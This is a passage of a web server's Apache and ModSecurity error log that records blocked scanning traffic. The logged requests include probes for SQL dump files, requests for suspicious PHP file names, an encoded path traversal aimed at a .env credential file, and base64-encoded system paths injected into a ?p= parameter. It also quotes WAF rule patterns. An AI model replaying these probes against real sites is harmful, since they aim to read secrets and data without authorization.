https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:10:36.417714 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:10:36.420998 2026] [security2:error] [pid 531797:tid 532117] [client 20.151.217.54:57504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/asu.php"] [unique_id "ai3xfMTA7b1mZrmcA-8l7gAAAoo"] [Sat Jun 13 18:10:36.539799 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.101:56220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:36.540263 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.101:56220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:36.591500 2026] [access_compat:error] [pid 531155:tid 531203] [remote 57.141.14.56:58218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:36.591788 2026] [access_compat:error] [pid 531155:tid 531203] [remote 57.141.14.56:58218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:36.695561 2026] [security2:error] [pid 531797:tid 531998] [client 191.233.234.186:38857] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/rum.php"] [unique_id "ai3xfMTA7b1mZrmcA-8l9gAAAhY"] [Sat Jun 13 18:10:36.716391 2026] [security2:error] [pid 531797:tid 532004] [client 172.171.3.232:63771] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/bgymj.php"] [unique_id "ai3xfMTA7b1mZrmcA-8l9wAAAhw"] [Sat Jun 13 18:10:36.730696 2026] [security2:error] [pid 531797:tid 532008] [client 188.166.176.171:52307] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/data.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8l-QAAAiA"] [Sat Jun 13 18:10:36.730750 2026] [security2:error] [pid 531797:tid 532122] [client 188.166.176.171:52303] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/backup.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8l-AAAAo4"] [Sat Jun 13 18:10:36.731014 2026] [security2:error] [pid 531155:tid 531337] [client 188.166.176.171:52301] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/mysqldump.sql"] [unique_id "ai3xfCmiP80klyS0Nnr4FAAAAT4"] [Sat Jun 13 18:10:36.736517 2026] [security2:error] [pid 531797:tid 532115] [client 188.166.176.171:52299] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/mysql.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8l-gAAAog"] [Sat Jun 13 18:10:36.737468 2026] [security2:error] [pid 531797:tid 532098] [client 188.166.176.171:52304] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/piox.cl_db.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8l-wAAAnc"] [Sat Jun 13 18:10:36.739540 2026] [security2:error] [pid 531155:tid 531307] [client 188.166.176.171:52305] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/database.sql"] [unique_id "ai3xfCmiP80klyS0Nnr4FQAAASA"] [Sat Jun 13 18:10:36.747128 2026] [security2:error] [pid 531797:tid 532036] [client 188.166.176.171:52300] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/db.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8l_gAAAjs"] [Sat Jun 13 18:10:36.747300 2026] [security2:error] [pid 531797:tid 532093] [client 188.166.176.171:52306] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/localhost.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8l_wAAAnI"] [Sat Jun 13 18:10:36.747328 2026] [security2:error] [pid 531797:tid 532100] [client 188.166.176.171:52308] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/db_backup.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8mAAAAAnk"] [Sat Jun 13 18:10:36.749280 2026] [security2:error] [pid 531797:tid 532018] [client 188.166.176.171:52309] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/dump.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8mAQAAAio"] [Sat Jun 13 18:10:36.750692 2026] [security2:error] [pid 531155:tid 531376] [client 188.166.176.171:52298] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/dbdump.sql"] [unique_id "ai3xfCmiP80klyS0Nnr4FgAAAWU"] [Sat Jun 13 18:10:36.751418 2026] [security2:error] [pid 531797:tid 532035] [client 188.166.176.171:52297] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/1.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8mAgAAAjo"] [Sat Jun 13 18:10:36.774886 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3J1bi9kb3ZlY290 [Sat Jun 13 18:10:36.775335 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3J1bi9kb3ZlY290 [Sat Jun 13 18:10:36.775708 2026] [security2:error] [pid 531797:tid 532075] [client 188.166.176.171:52302] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/piox.cl.sql"] [unique_id "ai3xfMTA7b1mZrmcA-8mBQAAAmE"] [Sat Jun 13 18:10:36.789540 2026] [security2:error] [pid 531155:tid 531405] [client 20.151.217.54:9409] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/Cap.php"] [unique_id "ai3xfCmiP80klyS0Nnr4FwAAAYI"] [Sat Jun 13 18:10:36.802622 2026] [security2:error] [pid 531155:tid 531189] [remote 17.22.245.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xfCmiP80klyS0Nnr4GAABRCE"] [Sat Jun 13 18:10:36.814479 2026] [core:error] [pid 531155:tid 531209] [remote 185.177.72.9:45824] AH10244: invalid URI path (/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/var/www/html/.env) [Sat Jun 13 18:10:36.828870 2026] [access_compat:error] [pid 531155:tid 531269] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:36.829317 2026] [access_compat:error] [pid 531155:tid 531269] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:36.919387 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:10:36.919859 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:10:37.038882 2026] [security2:error] [pid 531797:tid 531903] [remote 17.241.227.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xfcTA7b1mZrmcA-8mDAACkSc"] [Sat Jun 13 18:10:37.121345 2026] [security2:error] [pid 531797:tid 532021] [client 172.171.3.232:16020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/h2a2ck.php"] [unique_id "ai3xfcTA7b1mZrmcA-8mEgAAAi0"] [Sat Jun 13 18:10:37.215545 2026] [security2:error] [pid 531797:tid 532111] [client 20.9.67.71:47510] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xfcTA7b1mZrmcA-8mGgAAAoQ"] [Sat Jun 13 18:10:37.245378 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.60:35660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:37.245677 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.60:35660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:37.256556 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.27:36532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:37.256856 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.27:36532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:37.273327 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:10:37.273631 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:10:37.292407 2026] [security2:error] [pid 531155:tid 531404] [client 20.151.217.54:9389] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/spire.php"] [unique_id "ai3xfSmiP80klyS0Nnr4IQAAAYE"] [Sat Jun 13 18:10:37.441903 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQwL2lk [Sat Jun 13 18:10:37.442193 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQwL2lk [Sat Jun 13 18:10:37.504138 2026] [security2:error] [pid 531155:tid 531407] [client 20.9.67.71:36168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/atomlib.php"] [unique_id "ai3xfSmiP80klyS0Nnr4JgAAAYQ"] [Sat Jun 13 18:10:37.560509 2026] [security2:error] [pid 531155:tid 531310] [client 188.166.176.171:52459] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/sql.sql"] [unique_id "ai3xfSmiP80klyS0Nnr4JwAAASM"] [Sat Jun 13 18:10:37.563295 2026] [security2:error] [pid 531155:tid 531399] [client 188.166.176.171:52458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/site.sql"] [unique_id "ai3xfSmiP80klyS0Nnr4KAAAAXw"] [Sat Jun 13 18:10:37.564623 2026] [security2:error] [pid 531155:tid 531349] [client 188.166.176.171:52460] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/temp.sql"] [unique_id "ai3xfSmiP80klyS0Nnr4KQAAAUo"] [Sat Jun 13 18:10:37.568237 2026] [security2:error] [pid 531155:tid 531323] [client 188.166.176.171:52465] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/wp-content/mysql.sql"] [unique_id "ai3xfSmiP80klyS0Nnr4KgAAATA"] [Sat Jun 13 18:10:37.573223 2026] [security2:error] [pid 531155:tid 531350] [client 188.166.176.171:52461] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/translate.sql"] [unique_id "ai3xfSmiP80klyS0Nnr4KwAAAUs"] [Sat Jun 13 18:10:37.573223 2026] [security2:error] [pid 531155:tid 531304] [client 188.166.176.171:52463] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/www.sql"] [unique_id "ai3xfSmiP80klyS0Nnr4LAAAAR0"] [Sat Jun 13 18:10:37.599066 2026] [security2:error] [pid 531797:tid 532038] [client 188.166.176.171:52464] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/wp-content/uploads/dump.sql"] [unique_id "ai3xfcTA7b1mZrmcA-8mJQAAAj0"] [Sat Jun 13 18:10:37.602166 2026] [security2:error] [pid 531797:tid 532097] [client 188.166.176.171:52462] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "piox.cl"] [uri "/users.sql"] [unique_id "ai3xfcTA7b1mZrmcA-8mJgAAAnY"] [Sat Jun 13 18:10:37.602736 2026] [security2:error] [pid 531155:tid 531336] [client 20.151.217.54:40156] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/invisi.php"] [unique_id "ai3xfSmiP80klyS0Nnr4LgAAAT0"] [Sat Jun 13 18:10:37.770639 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODI4NjU4L2N3ZC9ydW4= [Sat Jun 13 18:10:37.771015 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODI4NjU4L2N3ZC9ydW4= [Sat Jun 13 18:10:37.809395 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.53:31680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:37.809684 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.53:31680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:37.870415 2026] [security2:error] [pid 531155:tid 531224] [remote 17.246.23.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 